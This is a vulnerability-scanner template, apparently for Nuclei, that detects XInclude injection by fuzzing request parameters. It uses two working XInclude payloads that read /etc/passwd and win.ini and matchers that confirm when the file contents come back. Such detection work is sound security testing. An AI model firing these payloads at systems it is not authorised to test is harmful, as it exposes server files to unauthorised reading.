id: xinclude-injection

info:
  name: XInclude Injection - Detection
  author: DhiyaneshDK,ritikchaddha
  severity: high
  description: |
    XInclude is a part of the XML specification that allows an XML document to be built from sub-documents. You can place an XInclude attack within any data value in an XML document, so the attack can be performed in situations where you only control a single item of data that is placed into a server-side XML document.
  reference:
    - https://d0pt3x.gitbook.io/passion/webapp-security/xxe-attacks/xinclude-attacks
  tags: dast,xxe,xinclude,vuln

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'
          - 'method == "POST"'
          - 'method == "PUT"'
    payloads:
      xinc_fuzz:
        - '<asd xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></asd>'
        - '<asd xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///c:/windows/win.ini"/></asd>'

    fuzzing:
      - parts:
          - query
          - body
        type: replace # replaces existing parameter value with fuzz payload
        mode: multiple # replaces all parameters value with fuzz payload
        fuzz:
          - '{{xinc_fuzz}}'

    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: regex
        name: linux
        part: body
        regex:
          - 'root:[^:]*:\d+:\d+:'

      - type: word
        name: windows
        part: body
        words:
          - 'for 16-bit app support'
# digest: 4a0a00473045022061c5b5f12d480ab581420090fe679f16eff360c4d8845959a335ff3bf53df93b022100e4fb9eff907afb896e7ae4d885535da03bae294cc6f4825c39c824fd4bf2e8fe:922c64590222798bb761d5b6d8e72950